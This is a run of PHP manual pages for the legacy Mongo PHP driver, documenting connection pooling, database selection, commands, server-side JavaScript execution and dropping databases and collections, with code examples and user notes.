Mongo::listDBs
Mongo::selectCollection
Mongo
PHP Manual

Mongo::poolDebug

(No version information available, might only be in SVN)

Mongo::poolDebug — Returns information about all connection pools.

Description

public array Mongo::poolDebug ( void )
Warning

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::info() instead.

Returns an array of information about all connection pools.

Parameters

This function has no parameters.

Return Values

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by Mongo instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of Mongo before we exhausted this pool (assuming no instances of Mongo went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::listDBs
Mongo::selectCollection
Mongo


Gets a database collection

Mongo::poolDebug
Mongo::selectDB
Mongo
PHP Manual

Mongo::selectCollection

(PECL mongo >=0.9.0)

Mongo::selectCollection — Gets a database collection

Description

public MongoCollection Mongo::selectCollection ( string $db , string $collection )

Parameters

db

The database name.

collection

The collection name.

Return Values

Returns a new collection object.

Errors/Exceptions

Throws InvalidArgumentException if the database or collection name is invalid.

Examples

Example #1 Mongo::selectCollection() example

<?php
$m = new Mongo();

$c1 = $m->selectCollection("foo", "bar.baz");
// which is equivalent to
$c2 = $m->selectDB("foo")->selectCollection("bar.baz");

// $c1 and $c2 now represent the same collection
?>

User Contributed Notes

There are no user contributed notes for this page.
Mongo::poolDebug
Mongo::selectDB
Mongo


Gets a database

Mongo::selectCollection
Mongo::setPoolSize
Mongo
PHP Manual

Mongo::selectDB

(PECL mongo >=0.9.0)

Mongo::selectDB — Gets a database

Description

public MongoDB Mongo::selectDB ( string $name )

Parameters

name

The database name.

Return Values

Returns a new db object.

Errors/Exceptions

Throws InvalidArgumentException if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::selectCollection
Mongo::setPoolSize
Mongo


Set the size for future connection pools.

Mongo::selectDB
Mongo::setSlaveOkay
Mongo
PHP Manual

Mongo::setPoolSize

(No version information available, might only be in SVN)

Mongo::setPoolSize — Set the size for future connection pools.

Description

public static bool Mongo::setPoolSize ( int $size )
Warning

This feature has been DEPRECATED as of version 1.2.3. Relying on this feature is highly discouraged. Please use MongoPool::setSize() instead.

Sets the max number of connections new pools will be able to create.

Parameters

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

Return Values

Returns the former value of pool size.

Examples

Example #1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
Mongo::setPoolSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

The above example will output something similar to:

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

See Also

  • Mongo::getPoolSize() - Get pool size for connection pools
  • Mongo::poolDebug() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::selectDB
Mongo::setSlaveOkay
Mongo


Change slaveOkay setting for this connection

Mongo::setPoolSize
Mongo::switchSlave
Mongo
PHP Manual

Mongo::setSlaveOkay

(PECL mongo >=1.1.0)

Mongo::setSlaveOkay — Change slaveOkay setting for this connection

Description

public bool Mongo::setSlaveOkay ([ bool $ok = true ] )

See the query section of this manual for information on distributing reads to slaves.

Parameters

ok

If reads should be sent to secondary members of a replica set for all possible queries using this Mongo instance.

Return Values

Returns the former value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::setPoolSize
Mongo::switchSlave
Mongo


Choose a new slave for slaveOkay reads

Mongo::setSlaveOkay
Mongo::__toString
Mongo
PHP Manual

Mongo::switchSlave

(PECL mongo >=1.1.0)

Mongo::switchSlave — Choose a new slave for slaveOkay reads

Description

public string Mongo::switchSlave ( void )

This choses a random slave for a connection to read from. It is called automatically by the driver and should not need to be used. It calls Mongo::getHosts() (to refresh the status of hosts) and Mongo::getSlave() (to get the return value).

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

The address of the slave this connection is using for reads. This may be the same as the previous address as addresses are randomly chosen. It may return only one address if only one secondary (or only the primary) is available.

For example, if we had a three member replica set with a primary, secondary, and arbiter this method would always return the address of the secondary. If the secondary became unavailable, this method would always return the address of the primary. If the primary also became unavailable, this method would throw an exception, as an arbiter cannot handle reads.

Errors/Exceptions

Throws a MongoException (error code 15) if it is called on a non-replica-set connection. It will also throw MongoExceptions if it cannot find anyone (primary or secondary) to read from (error code 16).

User Contributed Notes

There are no user contributed notes for this page.
Mongo::setSlaveOkay
Mongo::__toString
Mongo


String representation of this connection

Mongo::switchSlave
MongoDB
Mongo
PHP Manual

Mongo::__toString

(PECL mongo >=0.9.0)

Mongo::__toString — String representation of this connection

Description

public string Mongo::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns hostname and port for this connection.

User Contributed Notes

There are no user contributed notes for this page.
Mongo::switchSlave
MongoDB
Mongo


The MongoDB class

(No version information available, might only be in SVN)

Introduction

Instances of this class are used to interact with a database. To get a database:

<?php

$m = new Mongo(); // connect
$db = $m->selectDB("example");

?>
Database names can use almost any character in the ASCII range. However, they cannot contain " ", "." or be the empty string. The name "system" is also reserved.

A few unusual, but valid, database names: "null", "[x,y]", "3", "\"", "/".

Unlike collection names, database names may contain "$".

Class synopsis

MongoDB {
/* Constants */
const int PROFILING_OFF = 0 ;
const int PROFILING_SLOW = 1 ;
const int PROFILING_ON = 2 ;
/* Fields */
public integer $w = 1 ;
public integer $wtimeout = 10000 ;
/* Methods */
public array authenticate ( string $username , string $password )
public array command ( array $command [, array $options = array() ] )
public __construct ( Mongo $conn , string $name )
public MongoCollection createCollection ( string $name [, bool $capped = FALSE [, int $size = 0 [, int $max = 0 ]]] )
public array createDBRef ( string $collection , mixed $a )
public array drop ( void )
public array dropCollection ( mixed $coll )
public array execute ( mixed $code [, array $args = array() ] )
public bool forceError ( void )
public MongoCollection __get ( string $name )
public array getDBRef ( array $ref )
public MongoGridFS getGridFS ([ string $prefix = "fs" ] )
public int getProfilingLevel ( void )
public bool getSlaveOkay ( void )
public array lastError ( void )
public array listCollections ( void )
public array prevError ( void )
public array repair ([ bool $preserve_cloned_files = FALSE [, bool $backup_original_files = FALSE ]] )
public array resetError ( void )
public MongoCollection selectCollection ( string $name )
public int setProfilingLevel ( int $level )
public bool setSlaveOkay ([ bool $ok = true ] )
public string __toString ( void )
}

Predefined Constants

MongoDB Log Levels

MongoDB::PROFILING_OFF
0
Profiling is off.
MongoDB::PROFILING_SLOW
1
Profiling is on for slow operations (>100 ms).
MongoDB::PROFILING_ON
2
Profiling is on for all operations.

Fields

w
1

The number of servers to replicate a change to before returning success. Inherited by instances of MongoCollection derived from this. w functionality is only available in version 1.5.1+ of the MongoDB server and 1.0.8+ of the driver.

w is used whenever you perform a "safe" operation (MongoCollection::insert(), MongoCollection::update(), MongoCollection::remove(), MongoCollection::save(), and MongoCollection::ensureIndex() all support safe options). With the default value (1), a safe operation will return once the database server has the operation. If the server goes down before the operation has been replicated to a slave, it is possible to lose the operation forever. Thus, you can specify w to be higher than one and guarantee that at least one slave has the operation before it is considered successful.

For example, if w is 2, the main server and one slave must have a record of the operation or the driver will throw a MongoCursorException. It is tempting to set w to the total number of slaves + master, but then if one slave is down the op will fail and an exception will be thrown, so usually w=2 is safest (master+1 slave).

wtimeout
10000

The number of milliseconds to wait for MongoDB::$w replications to take place. Inherited by instances of MongoCollection derived from this. w functionality is only available in version 1.5.1+ of the MongoDB server and 1.0.8+ of the driver.

Unless wtimeout is set, the server waits forever for replicating to w servers to finish. The driver defaults to waiting for 10 seconds, you can change this value to alter its behavior.

See Also

MongoDB core docs on » databases.

Table of Contents

  • MongoDB::authenticate — Log in to this database
  • MongoDB::command — Execute a database command
  • MongoDB::__construct — Creates a new database
  • MongoDB::createCollection — Creates a collection
  • MongoDB::createDBRef — Creates a database reference
  • MongoDB::drop — Drops this database
  • MongoDB::dropCollection — Drops a collection [deprecated]
  • MongoDB::execute — Runs JavaScript code on the database server.
  • MongoDB::forceError — Creates a database error
  • MongoDB::__get — Gets a collection
  • MongoDB::getDBRef — Fetches the document pointed to by a database reference
  • MongoDB::getGridFS — Fetches toolkit for dealing with files stored in this database
  • MongoDB::getProfilingLevel — Gets this database's profiling level
  • MongoDB::getSlaveOkay — Get slaveOkay setting for this database
  • MongoDB::lastError — Check if there was an error on the most recent db operation performed
  • MongoDB::listCollections — Get a list of collections in this database
  • MongoDB::prevError — Checks for the last error thrown during a database operation
  • MongoDB::repair — Repairs and compacts this database
  • MongoDB::resetError — Clears any flagged errors on the database
  • MongoDB::selectCollection — Gets a collection
  • MongoDB::setProfilingLevel — Sets this database's profiling level
  • MongoDB::setSlaveOkay — Change slaveOkay setting for this database
  • MongoDB::__toString — The name of this database

User Contributed Notes

m dot espositoii at yahoo dot com 27-Aug-2011 03:11
With Mongo it'll automatically create the collection, so just start using it and it'll do the creation itself.

In other words... just use SelectCollection, if it doesn't exist, it will after that so you can drop it.
jeromakay at yahoo dot com 20-Jan-2011 12:19
based on what I've read and then applied, you don't have to specifically create a database or table, you just initialize it.

Indeed, files are not being written inside /data/db, but they will the first moment you start adding data.

So, I'm taking as an example Twitter, with no db defined, I'm still going to have the db available if I run this code:

<?php

define('TWITTER_API_VERSION', 1);

date_default_timezone_set("Europe/Dublin");

try
{
    $m = new Mongo(); // connect
    $db = $m->selectDB("example");
}
catch ( MongoConnectionException $e )
{
    echo '<p>Couldn\'t connect to mongodb, is the "mongo" process running?</p>';
    exit();
}

$updates = file_get_contents( "http://api.twitter.com/". TWITTER_API_VERSION ."/statuses/public_timeline.json" );
$updates = json_decode( $updates );

if ( $updates && is_array( $updates ) && count( $updates ) )
{
    foreach ( $updates as $update )
    {
        $db->users->insert( $update );
    }
}

?>

Hope this was helpful!

Good luck!
Vladimir Ghetau
jonwage at gmail dot com 01-May-2010 11:56
Just a note that if you use selectDB() and only select it, the database will not be created. In PHPMongoDBAdmin(http://github.com/jwage/php-mongodb-admin) I wanted a way to create a database through a form so I needed to create a dummy collection and drop it in order for the database to be created. MongoDB has a drop() method but no create() method.

<?php
$mongo->selectDB('db')->createCollection('__tmp_collection_');
$mongo->selectDB('db')->dropCollection('__tmp_collection_');
?>

Any better way to do this?
Mongo::__toString
MongoDB::authenticate
Core Classes


Log in to this database

MongoDB
MongoDB::command
MongoDB
PHP Manual

MongoDB::authenticate

(PECL mongo >=1.0.1)

MongoDB::authenticate — Log in to this database

Description

public array MongoDB::authenticate ( string $username , string $password )

This method causes its connection to be authenticated. If authentication is enabled for the database server (it's not, by default), you need to log in before the database will allow you to do anything.

In general, you should use the authenticate built into Mongo::__construct() in preference to this method. If you authenticate on connection and the connection drops and reconnects during your session, you'll be reauthenticated. If you manually authenticated using this method and the connection drops, you'll have to call this method again once you're reconnected.

This method is identical to running:

<?php

$salted = "${username}:mongo:${password}";
$hash = md5($salted);

$nonce = $db->command(array("getnonce" => 1));

$saltedHash = md5($nonce["nonce"]."${username}${hash}");

$result = $db->command(array("authenticate" => 1,
    "user" => $username,
    "nonce" => $nonce["nonce"],
    "key" => $saltedHash
));

?>

Once a connection has been authenticated, it can only be un-authenticated by using the "logout" database command:

<?php

$db->command(array("logout" => 1));

?>

Parameters

username

The username.

password

The password (in plaintext).

Return Values

Returns database response. If the login was successful, it will return

<?php
array("ok" => 1);
?>
If something went wrong, it will return
<?php
array("ok" => 0, "errmsg" => "auth fails");
?>
("auth fails" could be another message, depending on database version and what when wrong).

See Also

MongoDB core docs on » authenticate.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB
MongoDB::command
MongoDB


Execute a database command

MongoDB::authenticate
MongoDB::__construct
MongoDB
PHP Manual

MongoDB::command

(PECL mongo >=0.9.2)

MongoDB::command — Execute a database command

Description

public array MongoDB::command ( array $command [, array $options = array() ] )

Almost everything that is not a CRUD operation can be done with a database command. Need to know the database version? There's a command for that. Need to do aggregation? There's a command for that. Need to turn up logging? You get the idea.

This method is identical to:

<?php

public function command($data) {
    return $this->selectCollection('$cmd')->findOne($data);
}

?>

Parameters

command

The query to send.

options

This parameter is an associative array of the form array("optionname" => <boolean>, ...). Currently supported options are:

  • "timeout"

    Integer, defaults to Mongo::$timeout. If "safe" is set, this sets how long (in milliseconds) for the client to wait for a database response. If the database does not respond within the timeout period, a MongoCursorTimeoutException will be thrown.

Changelog

Version | Description
1.2.0 | Added options parameter with a single option: timeout.

Return Values

Returns database response.

Examples

Example #1 MongoDB::command() "distinct" example

Finding all of the distinct values for a key.

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(array("distinct" => "people", "key" => "age"));

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

The above example will output something similar to:

4
22
87

Example #2 MongoDB::command() "distinct" example

Finding all of the distinct values for a key, where the value is larger than or equal to 18.

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(
    array(
        "distinct" => "people",
        "key" => "age",
        "query" => array("age" => array('$gte' => 18))
    )
);

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

The above example will output something similar to:

22
87

Example #3 MongoDB::command() MapReduce example

Get all users with at least on "sale" event, and how many times each of these users has had a sale.

<?php

// sample event document
$events->insert(array("user_id" => $id,
    "type" => $type,
    "time" => new MongoDate(),
    "desc" => $description));

// construct map and reduce functions
$map = new MongoCode("function() { emit(this.user_id,1); }");
$reduce = new MongoCode("function(k, vals) { ".
    "var sum = 0;".
    "for (var i in vals) {".
        "sum += vals[i];".
    "}".
    "return sum; }");

$sales = $db->command(array(
    "mapreduce" => "events",
    "map" => $map,
    "reduce" => $reduce,
    "query" => array("type" => "sale"),
    "out" => array("merge" => "eventCounts")));

$users = $db->selectCollection($sales['result'])->find();

foreach ($users as $user) {
    echo "{$user['_id']} had {$user['value']} sale(s).\n";
}

?>

The above example will output something similar to:

User 47cc67093475061e3d9536d2 had 3 sale(s).
User 49902cde5162504500b45c2c had 14 sale(s).
User 4af467e4fd543cce7b0ea8e2 had 1 sale(s).

Note: Using MongoCode

This example uses MongoCode, which can also take a scope argument. However, at the moment, MongoDB does not support using scopes in MapReduce. If you would like to use client-side variables in the MapReduce functions, you can add them to the global scope by using the optional scope field with the database command. See the » MapReduce documentation for more information.

Note: The out argument

Before 1.8.0, the out argument was optional. If you did not use it, MapReduce results would be written to a temporary collection, which would be deleted when your connection was closed. In 1.8.0+, the out argument is required. See the » MapReduce documentation for more information.

If you are going to be using MapReduce, Prajwal Tuladhar created an API for Mongo PHP users which provides a nicer interface than the bare command. You can download it from » Github and there is a » blog post on how to use it.

See Also

MongoDB core docs on » database commands and on individual commands: » findAndModify, » getLastError, and » repair (dozens more exist, there are merely a few examples).

User Contributed Notes

Anonymous 08-Jun-2011 04:18
> Need to know the database version? There's a command for that.

We didn't find it - ended up using either;

<?php
$m = new Mongo();

$adminDB = $m->admin; //require admin priviledge

$mongodb_info = $adminDB->command(array('buildinfo'=>true));
$mongodb_version = $mongodb_info['version'];

print_r($mongodb_info);
?>

or

<?php
$v = `mongo --version`;
print_r($v);
?>
roman dot drapeko at gmail dot com 16-Apr-2011 02:07
I tried to write MapReduce. Unfortunately, out => array('replace' => 'collName') did not work for me. Instead, the below code works

<?php
$mongo->command(array(
     'mapreduce' => 'events',
     'map' => $map,
     'reduce' => $reduce,
     'out' => 'mapReduceEventStats'
));
?>
Min He 21-Jul-2010 04:31
rename a collection:

<?php
$m = new Mongo();
$adminDB = $m->admin; //require admin priviledge

//rename collection 'colA' in db 'yourdbA' to collection 'colB' in another db 'yourdbB'

$res = $adminDB->command(array(
    "renameCollection" => "yourdbA.colA",
    "to" => "yourdbB.colB"
));

var_dump($res);
?>
MongoDB::authenticate
MongoDB::__construct
MongoDB


Creates a new database

MongoDB::command
MongoDB::createCollection
MongoDB
PHP Manual

MongoDB::__construct

(PECL mongo >=0.9.0)

MongoDB::__construct — Creates a new database

Description

public MongoDB::__construct ( Mongo $conn , string $name )

This method is not meant to be called directly. The preferred way to create an instance of MongoDB is through Mongo::__get() or Mongo::selectDB().

If you're ignoring the previous paragraph and want to call it directly you can do so:

<?php

$m = new Mongo();
$db = new MongoDB($m, 'mydbname');

?>

But don't. Isn't this much nicer:

<?php

$m = new Mongo();
$db = $m->mydbname;

// or, if the name contains weird characters:

$db = $m->selectDB('my,db:name');

?>

Parameters

Mongo conn

Database connection.

name

Database name.

Return Values

Returns the database.

Errors/Exceptions

Throws default exception if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::command
MongoDB::createCollection
MongoDB


Creates a collection

MongoDB::__construct
MongoDB::createDBRef
MongoDB
PHP Manual

MongoDB::createCollection

(PECL mongo >=0.9.0)

MongoDB::createCollection — Creates a collection

Description

public MongoCollection MongoDB::createCollection ( string $name [, bool $capped = FALSE [, int $size = 0 [, int $max = 0 ]]] )

This method is used to create capped collections and other collections requiring special options. It is identical to running:

<?php

$collection = $db->command(array("create" => $name, "size" => $size, "capped" => $capped, "max" => $max));

?>
See MongoDB::command() for more information about database commands.

Parameters

name

The name of the collection.

capped

If the collection should be a fixed size.

size

If the collection is fixed size, its size in bytes.

max

If the collection is fixed size, the maximum number of elements to store in the collection.

Return Values

Returns a collection object representing the new collection.

Examples

Example #1 MongoDB::createCollection() capped collection example

A capped collection is a special type of collection that has either a fixed or a fixed number of elements. Once the collection is "full," the oldest elements will be removed when new elements are added. Capped collections can be very useful for applications like logging, where you may want to reserve a certain amount of space for logs and not worry about them getting too big.

This example creates a very tiny log collection that will keep a maximum of 10 documents.

<?php

$log = $db->createCollection("logger", true, 10*1024, 10);

for ($i = 0; $i < 100; $i++) {
    $log->insert(array("level" => WARN, "msg" => "sample log message #$i", "ts" => new MongoDate()));
}

$msgs = $log->find();

foreach ($msgs as $msg) {
    echo $msg['msg']."\n";
}

?>

The above example will output something similar to:

sample log message #90
sample log message #91
sample log message #92
sample log message #93
sample log message #94
sample log message #95
sample log message #96
sample log message #97
sample log message #98
sample log message #99

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::__construct
MongoDB::createDBRef
MongoDB


Creates a database reference

MongoDB::createCollection
MongoDB::drop
MongoDB
PHP Manual

MongoDB::createDBRef

(PECL mongo >=0.9.0)

MongoDB::createDBRef — Creates a database reference

Description

public array MongoDB::createDBRef ( string $collection , mixed $a )

This method is a flexible interface for creating database refrences (see MongoDBRef).

Parameters

collection

The collection to which the database reference will point.

a

Object or _id to which to create a reference. If an object or associative array is given, this will create a reference using the _id field.

Return Values

Returns a database reference array.

Examples

Example #1 MongoDB::createDBRef() example

Example demonstrating how to programatically create a DB reference array from a document.

<?php

$articles = $db->articles;

$article = array(
 'title' => 'Test article',
 'description' => 'Test article description'
);

$articles->insert($article);
$ref = $db->createDBRef('articles', $article);

print_r($article);
print_r($ref);
?>

The above example will output something similar to:

     Array
     (
         [title] => Test article
         [description] => Test article description
         [_id] => MongoId Object
             (
             )

     )
     Array
     (
         [$ref] => articles
         [$id] => MongoId Object
             (
             )

     )

Now the $ref can be stored on another document and retrieved later with MongoDB::getDBRef() or MongoCollection::getDBRef().

Example #2 MongoDB::createDBRef() example

Example demonstrating how to programatically create a DB reference from just an id.

<?php

$id = new MongoId('47cc67093475061e3d9536d2');
$ref = $db->createDBRef('articles', $id);
?>

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::createCollection
MongoDB::drop
MongoDB


Drops this database

MongoDB::createDBRef
MongoDB::dropCollection
MongoDB
PHP Manual

MongoDB::drop

(PECL mongo >=0.9.0)

MongoDB::drop — Drops this database

Description

public array MongoDB::drop ( void )

This drops the database currently being used.

This is identical to running:

<?php

public function drop() {
    $this->command(array("dropDatabase" => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

Examples

Example #1 MongoDB::drop() example

This example demonstrates how to drop a mongo database and the response to expect.

<?php

$db = $mongo->foo;
$response = $db->drop();
print_r($response);

?>

The above example will output something similar to:

Array
(
    [dropped] => foo.$cmd
    [ok] => 1
)

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::createDBRef
MongoDB::dropCollection
MongoDB


Drops a collection [deprecated]

MongoDB::drop
MongoDB::execute
MongoDB
PHP Manual

MongoDB::dropCollection

(PECL mongo >=0.9.0)

MongoDB::dropCollection — Drops a collection [deprecated]

Description

public array MongoDB::dropCollection ( mixed $coll )
Warning

Deprecated

Use MongoCollection::drop() instead.

This function leaks memory in version 1.0.7 and earlier!

Parameters

coll

MongoCollection or name of collection to drop.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::drop
MongoDB::execute
MongoDB


Runs JavaScript code on the database server.

MongoDB::dropCollection
MongoDB::forceError
MongoDB
PHP Manual

MongoDB::execute

(PECL mongo >=0.9.3)

MongoDB::execute — Runs JavaScript code on the database server.

Description

public array MongoDB::execute ( mixed $code [, array $args = array() ] )

The Mongo database server runs a JavaScript engine. This method allows you to run arbitary JavaScript on the database. This can be useful if you want touch a number of collections lightly, or process some results on the database side to reduce the amount that has to be sent to the client.

Running JavaScript in the database takes a write lock, meaning it blocks other operations. Make sure you consider this before running a long script.

This is a wrapper for a database command. This method is basically:

<?php

public function execute($code, $args) {
    return $this->command(array('$eval' => $code, args => $args));
}

?>

MongoDB implies a return statement if you have a single statement on a single line. This can cause some unintuitive behavior. For example, this returns "foo":

<?php

$db->execute('"foo";');

?>

However, these return NULL:

<?php

$db->execute('"bar"; "foo";'); // more than one statement

$db->execute('db.foo.count(
);'); // more than one line

?>

To avoid surprising behavior, it is best not to depend on MongoDB to decide what to return, but to explicitly state a return value. In the examples above, we can change them to:

<?php

$db->execute('"bar"; return "foo";');

$db->execute('return db.foo.count(
);');

?>

Now the first statement will return "foo" and the second statement will return a count of the "foo" collection.

Parameters

code

MongoCode or string to execute.

args

Arguments to be passed to code.

Return Values

Returns the result of the evaluation.

Examples

Example #1 Simple MongoDB::execute() example

<?php

$response = $db->execute("function() { return 'Hello, world!'; }");
echo $response['retval'];

?>

The above example will output something similar to:

Hello, world!

Example #2 Parameter MongoDB::execute() example

The optional array of parameters will be passed to the JavaScript function.

<?php

$response = $db->execute("function(greeting, name) { return greeting+', '+name+'!'; }", array("Good bye", "Joe"));
echo $response['retval'];

?>

The above example will output something similar to:

Good bye, Joe!

Example #3 Scope example

If a MongoCode object is used instead of a string for the first parameter, a scope can be passed in which the JavaScript will be executed.

<?php

$func =
    "function(greeting, name) { ".
        "return greeting+', '+name+', says '+greeter;".
    "}";
$scope = array("greeter" => "Fred");

$code = new MongoCode($func, $scope);

$response = $db->execute($code, array("Goodbye", "Joe"));
echo $response['retval'];

?>

The above example will output something similar to:

Goodbye, Joe, says Fred

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::dropCollection
MongoDB::forceError
MongoDB


Creates a database error

MongoDB::execute
MongoDB::__get
MongoDB
PHP Manual

MongoDB::forceError

(PECL mongo >=0.9.5)

MongoDB::forceError — Creates a database error

Description

public bool MongoDB::forceError ( void )

This method is not very useful for normal MongoDB use. It forces a database error to occur. This means that MongoDB::lastError() will return a generic database error after running this command.

This command is identical to running:

<?php

public function forceError() {
    return $this->command(array('forceerror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::execute
MongoDB::__get
MongoDB


Gets a collection

MongoDB::forceError
MongoDB::getDBRef
MongoDB
PHP Manual

MongoDB::__get

(PECL mongo >=1.0.2)

MongoDB::__get — Gets a collection

Description

public MongoCollection MongoDB::__get ( string $name )

This is the easiest way of getting a collection from a database object. If a collection name contains strange characters, you may have to use MongoDB::selectCollection() instead.

<?php

$mongo = new Mongo();

// the following two lines are equivalent
$collection = $mongo->selectDB("foo")->selectCollection("bar");
$collection = $mongo->foo->bar;

?>

Parameters

name

The name of the collection.

Return Values

Returns the collection.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::forceError
MongoDB::getDBRef
MongoDB


Fetches the document pointed to by a database reference

MongoDB::__get
MongoDB::getGridFS
MongoDB
PHP Manual

MongoDB::getDBRef

(PECL mongo >=0.9.0)

MongoDB::getDBRef — Fetches the document pointed to by a database reference

Description

public array MongoDB::getDBRef ( array $ref )

Parameters

ref

A database reference.

Return Values

Returns the document pointed to by the reference.

Examples

Example #1 MongoDB::getDBRef() example

Example demonstrating how to get a database reference and what the expected input is.

<?php

 $ref = array(
   '$ref' => 'profiles',
   '$id' => '47cc67093475061e3d9536d2'
 );

 $profile = $db->getDBRef($ref);
 ?>

See MongoDB::createDBRef() for more information about how to programatically create DB references.

User Contributed Notes

simon at contribute dot com 18-Sep-2011 11:35
Note, that the $id portion of the array MUST be a MongoId object, otherwise it will fail.
MongoDB::__get
MongoDB::getGridFS
MongoDB


Fetches toolkit for dealing with files stored in this database

MongoDB::getDBRef
MongoDB::getProfilingLevel
MongoDB
PHP Manual

MongoDB::getGridFS

(PECL mongo >=0.9.0)

MongoDB::getGridFS — Fetches toolkit for dealing with files stored in this database

Description

public MongoGridFS MongoDB::getGridFS ([ string $prefix = "fs" ] )

Parameters

prefix

The prefix for the files and chunks collections.

Return Values

Returns a new gridfs object for this database.

Examples

Example #1 MongoDB::getGridFS() example

This example demonstrates how get a MongoGridFS instance.

<?php

$db = $mongo->my_db;

$prefix = 'files';
$collection = $db->getGridFS($prefix);

?>

Read more about the MongoGridFS to learn how to store files with MongoDB.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::getDBRef
MongoDB::getProfilingLevel
MongoDB


Gets this database's profiling level

MongoDB::getGridFS
MongoDB::getSlaveOkay
MongoDB
PHP Manual

MongoDB::getProfilingLevel

(PECL mongo >=0.9.0)

MongoDB::getProfilingLevel — Gets this database's profiling level

Description

public int MongoDB::getProfilingLevel ( void )

This returns the current database profiling level.

The database profiler tracks query execution times. If you turn it on (say, using MongoDB::setProfilingLevel() or the shell), you can see how many queries took longer than a given number of milliseconds or the timing for all queries.

Note that profiling slows down queries, so it is better to use in development or testing than in a time-sensitive application.

This function is equivalent to running:

<?php

public function getProfilingLevel() {
    return $this->command(array('profile' => -1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the profiling level.

See Also

MongoDB core docs on » profiling and MongoDB::setProfilingLevel() - Sets this database's profiling level.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::getGridFS
MongoDB::getSlaveOkay
MongoDB


Get slaveOkay setting for this database

MongoDB::getProfilingLevel
MongoDB::lastError
MongoDB
PHP Manual

MongoDB::getSlaveOkay

(PECL mongo >=1.1.0)

MongoDB::getSlaveOkay — Get slaveOkay setting for this database

Description

public bool MongoDB::getSlaveOkay ( void )

See the query section of this manual for information on distributing reads to slaves.

Parameters

This function has no parameters.

Return Values

Returns the value of slaveOkay for this instance.

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::getProfilingLevel
MongoDB::lastError
MongoDB


Check if there was an error on the most recent db operation performed

MongoDB::getSlaveOkay
MongoDB::listCollections
MongoDB
PHP Manual

MongoDB::lastError

(PECL mongo >=0.9.5)

MongoDB::lastError — Check if there was an error on the most recent db operation performed

Description

public array MongoDB::lastError ( void )

This method is equivalent to:

<?php

public function lastError() {
    return $this->command(array('getlasterror' => 1));
}

?>

Parameters

This function has no parameters.

Return Values

Returns the error, if there was one.

Examples

Example #1 MongoDB::lastError() NULL error example

<?php
$db->resetError();
var_dump($db->lastError());
?>

The above example will output something similar to:

array(3) {
  ["err"]=>
  NULL
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

Example #2 MongoDB::lastError() duplicate key example

<?php
$c = $db->selectCollection("foo");

// insert two documents with the same _id
$c->insert(array("_id" => 1));
$c->insert(array("_id" => 1));

var_dump($db->lastError());
?>

The above example will output something similar to:

array(3) {
  ["err"]=>
  string(64) "E11000 duplicate key errorindex: foo.foo.$_id_  dup key: { : 1 }"
  ["n"]=>
  int(0)
  ["ok"]=>
  float(1)
}

User Contributed Notes

There are no user contributed notes for this page.
MongoDB::getSlaveOkay
MongoDB::listCollections
MongoDB


Get a list of collections in this database

MongoDB::lastError
MongoDB::prevError
MongoDB
PHP Manual

MongoDB::listCollections

(PECL mongo >=0.9.0)

MongoDB::listCollections — Get a list of collections in this database

Description

public array MongoDB::listCollections ( void )

Parameters

This function has no parameters.

Return Values

Returns a list of MongoCollections.

Examples

Example #1 MongoDB::listCollections() example

The following example demonstrates dropping each collection in a database.

<?php

$m = new Mongo();
$db = $m->selectDB("sample");

$list = $db->listCollections();
foreach ($list as $collection) {
    echo "removing $collection... ";
    $collection->drop();
    echo "gone\n";
}

?>

The above example will output something similar to:

removing sample.blog.posts... gone
removing sample.critical.docs... gone
removing sample.taxes... gone
...

User Contributed Notes

Matt Saunders 11-Jan-2010 08:11
Currently, the PHP equivalent to "show dbs" is:

$db->command(array("listDatabases" => 1));

